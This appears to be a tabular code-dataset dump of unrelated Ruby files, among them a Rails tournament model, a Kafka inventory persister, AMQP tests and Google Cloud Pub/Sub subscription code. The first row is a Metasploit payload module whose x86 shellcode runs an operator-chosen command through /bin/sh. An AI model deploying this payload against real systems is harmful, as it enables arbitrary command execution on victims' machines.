hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
2671e51819a04acf551a96ce4b5a4db4a301422b | 1,262 | ##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
###
#
# Exec
# ----
#
# Executes an arbitrary command.
#
###
module Metasploit3
include Msf::Payload::Single
include Msf::Payload::Linux
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Execute Command',
'Version' => '$Revision$',
'Description' => 'Execute an arbitrary command',
'Author' => 'vlad902',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86))
# Register adduser options
register_options(
[
OptString.new('CMD', [ true, "The command string to execute" ]),
], self.class)
end
#
# Dynamically builds the adduser payload based on the user's options.
#
def generate_stage
cmd = datastore['CMD'] || ''
payload =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68" +
"\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52" +
Rex::Arch::X86.call(cmd.length + 1) + cmd + "\x00" +
"\x57\x53\x89\xe1\xcd\x80"
end
end | 21.758621 | 72 | 0.625198 |
21f5c9d959c6b57ce2bc7fe064beb6c243729b06 | 2,351 | require "inventory_refresh"
require "manageiq-messaging"
require "topological_inventory/persister/logging"
require "topological_inventory/persister/workflow"
require "topological_inventory/schema"
module TopologicalInventory
module Persister
class Worker
include Logging
def initialize(messaging_client_opts = {})
self.messaging_client_opts = default_messaging_opts.merge(messaging_client_opts)
InventoryRefresh.logger = logger
end
def run
# Open a connection to the messaging service
self.client = ManageIQ::Messaging::Client.open(messaging_client_opts)
logger.info("Topological Inventory Persister started...")
# Wait for messages to be processed
# TODO(lsmola) do: client.subscribe_messages(queue_opts.merge(:max_bytes => 500000))
# Once this is merged and released: https://github.com/ManageIQ/manageiq-messaging/pull/35
client.subscribe_messages(queue_opts) do |messages|
messages.each { |msg| process_message(client, msg) }
end
ensure
client&.close
end
def stop
client&.close
self.client = nil
end
private
attr_accessor :messaging_client_opts, :client
def process_message(client, msg)
TopologicalInventory::Persister::Workflow.new(load_persister(msg.payload), client, msg.payload).execute!
rescue => e
logger.error(e.message)
logger.error(e.backtrace.join("\n"))
nil
end
def load_persister(payload)
source = Source.find_by(:uid => payload["source"])
raise "Couldn't find source with uid #{payload["source"]}" if source.nil?
schema_name = payload.dig("schema", "name")
schema_klass = schema_klass_name(schema_name).safe_constantize
raise "Invalid schema #{schema_name}" if schema_klass.nil?
schema_klass.from_hash(payload, source)
end
def schema_klass_name(name)
"TopologicalInventory::Schema::#{name}"
end
def queue_opts
{
:service => "topological_inventory-persister",
}
end
def default_messaging_opts
{
:protocol => :Kafka,
:client_ref => "persister-worker",
:group_ref => "persister-worker",
}
end
end
end
end
| 28.670732 | 112 | 0.653764 |
08daa088341121c1bac1620d7e822e159612ae1e | 4,757 | class Tournament < ActiveRecord::Base
has_many :registrations, :include => :user, :dependent => :destroy
has_many :brackets, :dependent => :destroy
has_many :matches, :through => :brackets
validates :name, :should_start_at, :should_end_at, :match_length_seconds, :presence => true
validates :should_start_at, :should_end_at, :date => {
:message => 'must be on or after today', :after_or_equal_to => Proc.new{Date.today} },
:on => :create
validates :should_end_at, :date => {
:message => 'must be on or after start date', :after_or_equal_to => :should_start_at }
validates :match_length_seconds, :minimum_bracket_size, :numericality => {:greater_than => 0}
scope :upcoming, lambda { where('should_start_at > ?', Time.now.utc) }
scope :should_start, lambda { where('should_start_at <= ?', Time.now.utc).where('started_at is null') }
scope :should_end, lambda { where('should_end_at <= ?', Time.now.utc).where('ended_at is null') }
scope :started, where('started_at is not null')
scope :ended, where('ended_at is not null')
scope :not_ended, where('ended_at is null')
scope :in_progress, started.not_ended
scope :started_or_should_start, lambda { where('should_start_at <= ?', Time.now.utc).not_ended }
def match_length_hours
return nil if match_length_seconds.nil?
match_length_seconds / 60 / 60.0
end
def match_length_hours=(hours)
self.match_length_seconds = hours.to_f.hours.seconds
end
def max_players_per_bracket
(maximum_bracket_size > 0) ? maximum_bracket_size : (2 ** max_number_of_rounds)
end
def max_number_of_rounds
((should_end_at - should_start_at) / match_length_seconds).floor
end
def quorum_for_at_least_one_bracket?
registrations_count >= minimum_bracket_size
end
def can_join?(user)
!should_start? && !registered?(user)
end
def can_quit?(user)
!should_start? && registered?(user)
end
def should_start?
should_start_at <= Time.now.utc
end
def should_end?
should_end_at <= Time.now.utc
end
def started?
!started_at.nil?
end
def ended?
!ended_at.nil?
end
def in_progress?
started? && !ended?
end
def registered?(user)
!registration_for_user(user).nil?
end
def registration_for_user(user)
registrations.where(:user_id => user.id).first
end
def finished?
brackets.all?{|b| b.finished?}
end
def start!
Tournament.transaction do
# TODO: stream from db
registrations.order('created_at').in_groups_of(max_players_per_bracket).map do |g|
# remove any nils, the last group might have some
g.compact
end.select do |g|
# ensure we have a quorum
g.size >= minimum_bracket_size
end.each do |g|
# if more than a quorum but less than a factor of 2, shrink until a factor of 2
max_size = max_players_per_bracket
next if g.size == max_size
while (max_size > g.size)
max_size = max_size >> 1
end
g.slice!(max_size..-1)
end.map do |g|
# randomize the players
g.sort_by{rand}
end.each do |registrations|
# place into brackets
bracket = self.brackets.create!
round_num = 0
match_should_start_at = [self.should_start_at, Time.now.utc].max
matches = registrations.in_groups_of(2).map do |match_pair|
match = bracket.matches.create!(
:should_start_at => match_should_start_at,
:match_length_seconds => match_length_seconds,
:round => round_num
)
match_pair.each do |registration|
registration.confirm!
match.match_players.create!(:user => registration.user)
end
match
end
while matches.length > 1
round_num += 1
matches = matches.in_groups_of(2).map do |group|
bracket.matches.create!(
:should_start_at => match_should_start_at + (match_length_seconds * round_num),
:preceding_match1 => group.first,
:preceding_match2 => group.last,
:match_length_seconds => match_length_seconds,
:round => round_num
)
end
end
matches.first.update_attributes!(:finals => true)
bracket.update_attributes!(:number_of_rounds => round_num+1)
end
self.update_attributes!(:started_at => Time.now.utc)
end
end
def end!
self.update_attributes!(:ended_at => Time.now.utc)
end
private
def end_date_is_greater_than_start_date
if should_end_at < should_start_at
errors.add(:should_end_at, "must be on or after 'should starts at'")
end
end
end | 30.88961 | 105 | 0.649359 |
082ab130b29a2d6d3387c0bbf8f7066a15304f12 | 1,160 | # frozen_string_literal: true
module RedmineGitHosting
module GitoliteWrappers
module Projects
module Common
def handle_repositories_move(projects)
repo_list = []
delete_parent_path = []
projects.reverse_each do |project|
project.gitolite_repos.reverse_each do |repository|
repo_list << repository.gitolite_repository_name
delete_parent_path << move_gitolite_repository(repository)
end
gitolite_admin_repo_commit "#{context} : #{project.identifier} | #{repo_list}"
end
delete_parent_path
end
def clean_path(path_list)
path_list.compact.uniq.sort.reverse_each do |path|
rmdir path
end
end
def rmdir(path)
logger.info "#{context} : cleaning repository path : '#{path}'"
begin
RedmineGitHosting::Commands.sudo_rmdir path
rescue RedmineGitHosting::Error::GitoliteCommandException
logger.error "#{context} : error while cleaning repository path '#{path}'"
end
end
end
end
end
end
| 30.526316 | 90 | 0.616379 |
38821a5a34cb1cb7b09dc3d5f8fb64a8f37d7bca | 3,026 | require 'spec_helper'
def publish_and_consume_once(queue_name="test_sink", data="data")
amqp do
q = MQ.queue(queue_name)
q.subscribe do |hdr, msg|
hdr.should be_an MQ::Header
msg.should == data
done { q.unsubscribe; q.delete }
end
EM.add_timer(0.2) do
MQ.queue(queue_name).publish data
end
end
end
describe RSPEC do
it 'should work as normal without AMQP-Spec' do
1.should == 1
end
end
describe 'Evented AMQP specs' do
describe AMQP, " when testing with AMQP::SpecHelper" do
include AMQP::SpecHelper
default_options AMQP_OPTS if defined? AMQP_OPTS
default_timeout 1
puts "Default timeout: #{default_timeout}"
puts "Default options :#{default_options}"
it_should_behave_like 'SpecHelper examples'
context 'inside embedded context / example group' do
it_should_behave_like 'SpecHelper examples'
end
end
describe AMQP, " when testing with AMQP::Spec" do
include AMQP::Spec
default_options AMQP_OPTS if defined? AMQP_OPTS
default_timeout 1
it_should_behave_like 'Spec examples'
context 'inside embedded context / example group' do
it 'should inherit default_options/metadata from enclosing example group' do
# This is a guard against regression on dev box without notice
AMQP.conn.instance_variable_get(:@settings)[:host].should == AMQP_OPTS[:host]
self.class.default_options[:host].should == AMQP_OPTS[:host]
self.class.default_timeout.should == 1
done
end
it_should_behave_like 'Spec examples'
end
end
describe AMQP, " tested with AMQP::SpecHelper when Rspec failures occur" do
include AMQP::SpecHelper
default_options AMQP_OPTS if defined? AMQP_OPTS
it "bubbles failing expectations up to Rspec" do
expect {
amqp do
:this.should == :fail
end
}.to raise_error RSPEC::Expectations::ExpectationNotMetError
AMQP.conn.should == nil
end
it "should NOT ignore failing expectations after 'done'" do
expect {
amqp do
done
:this.should == :fail
end
}.to raise_error RSPEC::Expectations::ExpectationNotMetError
AMQP.conn.should == nil
end
it "should properly close AMQP connection after Rspec failures" do
AMQP.conn.should == nil
end
end
describe 'MQ', " when MQ.queue/fanout/topic tries to access Thread.current[:mq] across examples" do
include AMQP::SpecHelper
default_options AMQP_OPTS if defined? AMQP_OPTS
it 'sends data to the queue' do
publish_and_consume_once
end
it 'does not hang sending data to the same queue, again' do
publish_and_consume_once
end
it 'cleans Thread.current[:mq] after pubsub examples' do
Thread.current[:mq].should be_nil
end
end
end
describe RSPEC, " when running an example group after another group that uses AMQP-Spec " do
it "should work normally" do
:does_not_hang.should_not be_false
end
end | 26.54386 | 101 | 0.688367 |
ac582fc6699f651b1c7a9c97c15a22430c25d867 | 195 | # frozen_string_literal: true
class AddIsSupportToCategories < ActiveRecord::Migration[4.2]
def change
add_column :categories, :is_support, :boolean, default: false, null: false
end
end
| 24.375 | 78 | 0.769231 |
f87a8659e71ea5be41e8950660c15a894e4ca50b | 54,516 | # Copyright 2015 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require "google/cloud/pubsub/convert"
require "google/cloud/errors"
require "google/cloud/pubsub/subscription/list"
require "google/cloud/pubsub/subscription/push_config"
require "google/cloud/pubsub/received_message"
require "google/cloud/pubsub/retry_policy"
require "google/cloud/pubsub/snapshot"
require "google/cloud/pubsub/subscriber"
require "google/cloud/pubsub/v1"
module Google
module Cloud
module PubSub
##
# # Subscription
#
# A named resource representing the stream of messages from a single,
# specific {Topic}, to be delivered to the subscribing application.
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
# subscriber = sub.listen do |received_message|
# # process message
# received_message.acknowledge!
# end
#
# # Start background threads that will call the block passed to listen.
# subscriber.start
#
# # Shut down the subscriber when ready to stop receiving messages.
# subscriber.stop.wait!
#
class Subscription
##
# @private The Service object.
attr_accessor :service
##
# @private The gRPC Google::Cloud::PubSub::V1::Subscription object.
attr_accessor :grpc
##
# @private Create an empty {Subscription} object.
def initialize
@service = nil
@grpc = nil
@resource_name = nil
@exists = nil
end
##
# The name of the subscription.
#
# @return [String]
def name
return @resource_name if reference?
@grpc.name
end
##
# The {Topic} from which this subscription receives messages.
#
# Makes an API call to retrieve the topic information when called on a
# reference object. See {#reference?}.
#
# @return [Topic]
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
# sub.topic.name #=> "projects/my-project/topics/my-topic"
#
def topic
ensure_grpc!
Topic.from_name @grpc.topic, service
end
##
# This value is the maximum number of seconds after a subscriber
# receives a message before the subscriber should acknowledge the
# message.
#
# Makes an API call to retrieve the deadline value when called on a
# reference object. See {#reference?}.
#
# @return [Integer]
def deadline
ensure_grpc!
@grpc.ack_deadline_seconds
end
##
# Sets the maximum number of seconds after a subscriber
# receives a message before the subscriber should acknowledge the
# message.
#
# @param [Integer] new_deadline The new deadline value.
#
def deadline= new_deadline
update_grpc = Google::Cloud::PubSub::V1::Subscription.new name: name, ack_deadline_seconds: new_deadline
@grpc = service.update_subscription update_grpc, :ack_deadline_seconds
@resource_name = nil
end
##
# Indicates whether to retain acknowledged messages. If `true`, then
# messages are not expunged from the subscription's backlog, even if
# they are acknowledged, until they fall out of the {#retention} window.
# Default is `false`.
#
# Makes an API call to retrieve the retain_acked value when called on a
# reference object. See {#reference?}.
#
# @return [Boolean] Returns `true` if acknowledged messages are
# retained.
#
def retain_acked
ensure_grpc!
@grpc.retain_acked_messages
end
##
# Sets whether to retain acknowledged messages.
#
# @param [Boolean] new_retain_acked The new retain acknowledged messages
# value.
#
def retain_acked= new_retain_acked
update_grpc = Google::Cloud::PubSub::V1::Subscription.new name: name,
retain_acked_messages: !(!new_retain_acked)
@grpc = service.update_subscription update_grpc, :retain_acked_messages
@resource_name = nil
end
##
# How long to retain unacknowledged messages in the subscription's
# backlog, from the moment a message is published. If
# {#retain_acked} is `true`, then this also configures the retention of
# acknowledged messages, and thus configures how far back in time a
# {#seek} can be done. Cannot be more than 604,800 seconds (7 days) or
# less than 600 seconds (10 minutes). Default is 604,800 seconds (7
# days).
#
# Makes an API call to retrieve the retention value when called on a
# reference object. See {#reference?}.
#
# @return [Numeric] The message retention duration in seconds.
#
def retention
ensure_grpc!
Convert.duration_to_number @grpc.message_retention_duration
end
##
# Sets the message retention duration in seconds.
#
# @param [Numeric] new_retention The new retention value.
#
def retention= new_retention
new_retention_duration = Convert.number_to_duration new_retention
update_grpc = Google::Cloud::PubSub::V1::Subscription.new name: name,
message_retention_duration: new_retention_duration
@grpc = service.update_subscription update_grpc, :message_retention_duration
@resource_name = nil
end
##
# Returns the URL locating the endpoint to which messages should be
# pushed. For example, a Webhook endpoint might use
# `https://example.com/push`.
#
# Makes an API call to retrieve the endpoint value when called on a
# reference object. See {#reference?}.
#
# @return [String]
#
def endpoint
ensure_grpc!
@grpc.push_config&.push_endpoint
end
##
# Sets the URL locating the endpoint to which messages should be pushed.
# For example, a Webhook endpoint might use `https://example.com/push`.
#
# @param [String] new_endpoint The new endpoint value.
#
def endpoint= new_endpoint
ensure_service!
service.modify_push_config name, new_endpoint, {}
return if reference?
@grpc.push_config = Google::Cloud::PubSub::V1::PushConfig.new(
push_endpoint: new_endpoint,
attributes: {}
)
end
##
# Inspect the Subscription's push configuration settings. The
# configuration can be changed by modifying the values in the method's
# block.
#
# Subscription objects that are reference only will return an empty
# {Subscription::PushConfig} object, which can be configured and saved
# using the method's block. Unlike {#endpoint}, which will retrieve the
# full resource from the API before returning. To get the actual values
# for a reference object, call {#reload!} before calling {#push_config}.
#
# @yield [push_config] a block for modifying the push configuration
# @yieldparam [Subscription::PushConfig] push_config the push
# configuration
#
# @return [Subscription::PushConfig]
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
# sub.push_config.endpoint #=> "http://example.com/callback"
# sub.push_config.authentication.email #=> "[email protected]"
# sub.push_config.authentication.audience #=> "client-12345"
#
# @example Update the push configuration by passing a block:
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
# sub = pubsub.subscription "my-subscription"
#
# sub.push_config do |pc|
# pc.endpoint = "http://example.net/callback"
# pc.set_oidc_token "[email protected]", "client-67890"
# end
#
def push_config
ensure_service!
orig_config = reference? ? nil : @grpc.push_config
config = PushConfig.from_grpc orig_config
if block_given?
old_config = config.to_grpc.dup
yield config
new_config = config.to_grpc
if old_config != new_config # has the object been changed?
update_grpc = Google::Cloud::PubSub::V1::Subscription.new name: name, push_config: new_config
@grpc = service.update_subscription update_grpc, :push_config
end
end
config.freeze
end
##
# A hash of user-provided labels associated with this subscription.
# Labels can be used to organize and group subscriptions.See [Creating
# and Managing Labels](https://cloud.google.com/pubsub/docs/labels).
#
# The returned hash is frozen and changes are not allowed. Use
# {#labels=} to update the labels for this subscription.
#
# Makes an API call to retrieve the labels value when called on a
# reference object. See {#reference?}.
#
# @return [Hash] The frozen labels hash.
#
def labels
ensure_grpc!
@grpc.labels.to_h.freeze
end
##
# Sets the hash of user-provided labels associated with this
# subscription. Labels can be used to organize and group subscriptions.
# Label keys and values can be no longer than 63 characters, can only
# contain lowercase letters, numeric characters, underscores and dashes.
# International characters are allowed. Label values are optional. Label
# keys must start with a letter and each label in the list must have a
# different key. See [Creating and Managing
# Labels](https://cloud.google.com/pubsub/docs/labels).
#
# @param [Hash] new_labels The new labels hash.
#
def labels= new_labels
raise ArgumentError, "Value must be a Hash" if new_labels.nil?
update_grpc = Google::Cloud::PubSub::V1::Subscription.new name: name, labels: new_labels
@grpc = service.update_subscription update_grpc, :labels
@resource_name = nil
end
##
# The duration (in seconds) for when a subscription expires after the
# subscription goes inactive. A subscription is considered active as
# long as any connected subscriber is successfully consuming messages
# from the subscription or is issuing operations on the subscription.
#
# If {#expires_in=} is not set, a *default* value of of 31 days will be
# used. The minimum allowed value is 1 day.
#
# Makes an API call to retrieve the value when called on a
# reference object. See {#reference?}.
#
# @return [Numeric, nil] The expiration duration, or `nil` if unset.
#
def expires_in
ensure_grpc!
return nil if @grpc.expiration_policy.nil?
Convert.duration_to_number @grpc.expiration_policy.ttl
end
##
# Sets the duration (in seconds) for when a subscription expires after
# the subscription goes inactive.
#
# See also {#expires_in}.
#
# @param [Numeric, nil] ttl The expiration duration in seconds, or `nil`
# to unset.
#
def expires_in= ttl
new_expiration_policy = Google::Cloud::PubSub::V1::ExpirationPolicy.new ttl: Convert.number_to_duration(ttl)
update_grpc = Google::Cloud::PubSub::V1::Subscription.new name: name, expiration_policy: new_expiration_policy
@grpc = service.update_subscription update_grpc, :expiration_policy
@resource_name = nil
end
##
# An expression written in the Cloud Pub/Sub filter language. If non-empty, then only {Message} instances whose
# `attributes` field matches the filter are delivered on this subscription. If empty, then no messages are
# filtered out.
#
# @return [String] The frozen filter string.
#
def filter
ensure_grpc!
@grpc.filter.freeze
end
##
# Returns the {Topic} to which dead letter messages should be published if a dead letter policy is configured,
# otherwise `nil`. Dead lettering is done on a best effort basis. The same message might be dead lettered
# multiple times.
#
# See also {#dead_letter_topic=}, {#dead_letter_max_delivery_attempts=} and
# {#dead_letter_max_delivery_attempts}.
#
# Makes an API call to retrieve the topic name when called on a reference object. See {#reference?}.
#
# @return [Topic, nil]
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
# sub.dead_letter_topic.name #=> "projects/my-project/topics/my-dead-letter-topic"
# sub.dead_letter_max_delivery_attempts #=> 10
#
def dead_letter_topic
ensure_grpc!
return nil unless @grpc.dead_letter_policy
Topic.from_name @grpc.dead_letter_policy.dead_letter_topic, service
end
##
# Sets the {Topic} to which dead letter messages for the subscription should be published. Dead lettering is
# done on a best effort basis. The same message might be dead lettered multiple times.
# The Cloud Pub/Sub service account associated with the enclosing subscription's parent project (i.e.,
# `service-\\{project_number}@gcp-sa-pubsub.iam.gserviceaccount.com`) must have permission to Publish() to this
# topic.
#
# The operation will fail if the topic does not exist. Users should ensure that there is a subscription attached
# to this topic since messages published to a topic with no subscriptions are lost.
#
# See also {#dead_letter_topic}, {#dead_letter_max_delivery_attempts=} and {#dead_letter_max_delivery_attempts}.
#
# @param [Topic] new_dead_letter_topic The topic to which dead letter messages for the subscription should be
# published.
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
# dead_letter_topic = pubsub.topic "my-dead-letter-topic", skip_lookup: true
# sub.dead_letter_topic = dead_letter_topic
#
def dead_letter_topic= new_dead_letter_topic
ensure_grpc!
dead_letter_policy = @grpc.dead_letter_policy || Google::Cloud::PubSub::V1::DeadLetterPolicy.new
dead_letter_policy.dead_letter_topic = new_dead_letter_topic.name
update_grpc = Google::Cloud::PubSub::V1::Subscription.new name: name, dead_letter_policy: dead_letter_policy
@grpc = service.update_subscription update_grpc, :dead_letter_policy
@resource_name = nil
end
##
# Returns the maximum number of delivery attempts for any message in the subscription's dead letter policy if a
# dead letter policy is configured, otherwise `nil`. Dead lettering is done on a best effort basis. The same
# message might be dead lettered multiple times. The value must be between 5 and 100.
#
# The number of delivery attempts is defined as 1 + (the sum of number of NACKs and number of times the
# acknowledgement deadline has been exceeded for the message). A NACK is any call to ModifyAckDeadline with a 0
# deadline. Note that client libraries may automatically extend ack_deadlines.
#
# This field will be honored on a best effort basis. If this parameter is 0, a default value of 5 is used.
#
# See also {#dead_letter_max_delivery_attempts=}, {#dead_letter_topic=} and {#dead_letter_topic}.
#
# Makes an API call to retrieve the value when called on a reference object. See {#reference?}.
#
# @return [Integer, nil] A value between 5 and 100, or `nil` if no dead letter policy is configured. If this
# value is 0, a default value of 5 is used.
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
# sub.dead_letter_topic.name #=> "projects/my-project/topics/my-dead-letter-topic"
# sub.dead_letter_max_delivery_attempts #=> 10
#
def dead_letter_max_delivery_attempts
ensure_grpc!
@grpc.dead_letter_policy&.max_delivery_attempts
end
##
# Sets the maximum number of delivery attempts for any message in the subscription's dead letter policy.
# Dead lettering is done on a best effort basis. The same message might be dead lettered multiple times.
# The value must be between 5 and 100.
#
# The number of delivery attempts is defined as 1 + (the sum of number of NACKs and number of times the
# acknowledgement deadline has been exceeded for the message). A NACK is any call to ModifyAckDeadline with a 0
# deadline. Note that client libraries may automatically extend ack_deadlines.
#
# This field will be honored on a best effort basis. If this parameter is 0, a default value of 5 is used.
#
# The dead letter topic must also be set. See {#dead_letter_topic=} and {#dead_letter_topic}.
#
# @param [Integer] new_dead_letter_max_delivery_attempts A value between 5 and 100. If this parameter is 0, a
# default value of 5 is used.
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
# sub.dead_letter_topic.name #=> "projects/my-project/topics/my-dead-letter-topic"
#
# sub.dead_letter_max_delivery_attempts = 20
#
def dead_letter_max_delivery_attempts= new_dead_letter_max_delivery_attempts
ensure_grpc!
unless @grpc.dead_letter_policy&.dead_letter_topic
# Service error message "3:Invalid resource name given (name=)." does not identify param.
raise ArgumentError, "dead_letter_topic is required with dead_letter_max_delivery_attempts"
end
dead_letter_policy = @grpc.dead_letter_policy || Google::Cloud::PubSub::V1::DeadLetterPolicy.new
dead_letter_policy.max_delivery_attempts = new_dead_letter_max_delivery_attempts
update_grpc = Google::Cloud::PubSub::V1::Subscription.new name: name, dead_letter_policy: dead_letter_policy
@grpc = service.update_subscription update_grpc, :dead_letter_policy
@resource_name = nil
end
##
# A policy that specifies how Cloud Pub/Sub retries message delivery for this subscription. If `nil`, the
# default retry policy is applied. This generally implies that messages will be retried as soon as possible
# for healthy subscribers. Retry Policy will be triggered on NACKs or acknowledgement deadline exceeded events
# for a given message.
#
# **EXPERIMENTAL:** This API might be changed in backward-incompatible ways and is not recommended for
# production use. It is not subject to any SLA or deprecation policy.
#
# @return [RetryPolicy, nil] The retry policy for the subscription, or `nil`.
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
#
# sub.retry_policy = Google::Cloud::PubSub::RetryPolicy.new minimum_backoff: 5, maximum_backoff: 300
#
# sub.retry_policy.minimum_backoff #=> 5
# sub.retry_policy.maximum_backoff #=> 300
#
def retry_policy
ensure_grpc!
return nil unless @grpc.retry_policy
RetryPolicy.from_grpc @grpc.retry_policy
end
##
# Sets a policy that specifies how Cloud Pub/Sub retries message delivery for this subscription. If `nil`, the
# default retry policy is applied. This generally implies that messages will be retried as soon as possible
# for healthy subscribers. Retry Policy will be triggered on NACKs or acknowledgement deadline exceeded events
# for a given message.
#
# **EXPERIMENTAL:** This API might be changed in backward-incompatible ways and is not recommended for
# production use. It is not subject to any SLA or deprecation policy.
#
# @param [RetryPolicy, nil] new_retry_policy A new retry policy for the subscription, or `nil`.
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
#
# sub.retry_policy = Google::Cloud::PubSub::RetryPolicy.new minimum_backoff: 5, maximum_backoff: 300
#
# sub.retry_policy.minimum_backoff #=> 5
# sub.retry_policy.maximum_backoff #=> 300
#
def retry_policy= new_retry_policy
ensure_grpc!
new_retry_policy = new_retry_policy.to_grpc if new_retry_policy
update_grpc = Google::Cloud::PubSub::V1::Subscription.new name: name, retry_policy: new_retry_policy
@grpc = service.update_subscription update_grpc, :retry_policy
end
##
# Whether message ordering has been enabled. When enabled, messages
# published with the same `ordering_key` will be delivered in the order
# they were published. When disabled, messages may be delivered in any
# order.
#
# @note At the time of this release, ordering keys are not yet publicly
# enabled and requires special project enablements.
#
# See {Topic#publish_async}, {#listen}, and {Message#ordering_key}.
#
# Makes an API call to retrieve the enable_message_ordering value when called on a
# reference object. See {#reference?}.
#
# @return [Boolean]
#
def message_ordering?
ensure_grpc!
@grpc.enable_message_ordering
end
##
# Whether the subscription is detached from its topic. Detached subscriptions don't receive messages from their
# topic and don't retain any backlog. {#pull} and {#listen} (pull and streaming pull) operations will raise
# `FAILED_PRECONDITION`. If the subscription is a push subscription (see {#push_config}), pushes to the endpoint
# will not be made. The default value is `false`.
#
# See {Topic#subscribe} and {#detach}.
#
# Makes an API call to retrieve the value when called on a
# reference object. See {#reference?}.
#
# @return [Boolean]
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
# sub.detach
#
# # sleep 120
# sub.detached? #=> true
#
def detached?
ensure_grpc!
@grpc.detached
end
##
# Determines whether the subscription exists in the Pub/Sub service.
#
# Makes an API call to determine whether the subscription resource
# exists when called on a reference object. See {#reference?}.
#
# @return [Boolean]
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
# sub.exists? #=> true
#
def exists?
# Always true if the object is not set as reference
return true unless reference?
# If we have a value, return it
return @exists unless @exists.nil?
ensure_grpc!
@exists = true
rescue Google::Cloud::NotFoundError
@exists = false
end
##
# Deletes an existing subscription.
# All pending messages in the subscription are immediately dropped.
#
# @return [Boolean] Returns `true` if the subscription was deleted.
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
# sub.delete
#
def delete
ensure_service!
service.delete_subscription name
true
end
##
# Detaches a subscription from its topic. All messages retained in the subscription are dropped. Detached
# subscriptions don't receive messages from their topic and don't retain any backlog. Subsequent {#pull} and
# {#listen} (pull and streaming pull) operations will raise `FAILED_PRECONDITION`. If the subscription is a push
# subscription (see {#push_config}), pushes to the endpoint will stop. It may take a few minutes for the
# subscription's detached state to be reflected in subsequent calls to {#detached?}.
#
# @return [Boolean] Returns `true` if the detach operation was successful.
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
# sub.detach
#
# # sleep 120
# sub.detached? #=> true
#
def detach
ensure_service!
service.detach_subscription name
true
end
##
# Pulls messages from the server. Returns an empty list if there are no
# messages available in the backlog. Raises an ApiError with status
# `UNAVAILABLE` if there are too many concurrent pull requests pending
# for the given subscription.
#
# See also {#listen} for the preferred way to process messages as they
# become available.
#
# @param [Boolean] immediate When `true` the system will respond
# immediately even if it is not able to return messages. When `false`
# the system is allowed to wait until it can return least one message.
# No messages are returned when a request times out. The default value
# is `true`.
#
# See also {#listen} for the preferred way to process messages as they
# become available.
# @param [Integer] max The maximum number of messages to return for this
# request. The Pub/Sub system may return fewer than the number
# specified. The default value is `100`, the maximum value is `1000`.
#
# @return [Array<Google::Cloud::PubSub::ReceivedMessage>]
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
# sub.pull.each { |received_message| received_message.acknowledge! }
#
# @example A maximum number of messages returned can also be specified:
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
# sub.pull(max: 10).each do |received_message|
# received_message.acknowledge!
# end
#
# @example The call can block until messages are available:
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
# received_messages = sub.pull immediate: false
# received_messages.each do |received_message|
# received_message.acknowledge!
# end
#
def pull immediate: true, max: 100
ensure_service!
options = { immediate: immediate, max: max }
list_grpc = service.pull name, options
Array(list_grpc.received_messages).map do |msg_grpc|
ReceivedMessage.from_grpc msg_grpc, self
end
rescue Google::Cloud::DeadlineExceededError
[]
end
##
# Pulls from the server while waiting for messages to become available.
# This is the same as:
#
# subscription.pull immediate: false
#
# See also {#listen} for the preferred way to process messages as they
# become available.
#
# @param [Integer] max The maximum number of messages to return for this
# request. The Pub/Sub system may return fewer than the number
# specified. The default value is `100`, the maximum value is `1000`.
#
# @return [Array<Google::Cloud::PubSub::ReceivedMessage>]
#
# @example
# require "google/cloud/pubsub"
#
# pubsub = Google::Cloud::PubSub.new
#
# sub = pubsub.subscription "my-topic-sub"
# received_messages = sub.wait_for_messages
# received_messages.each do |received_message|
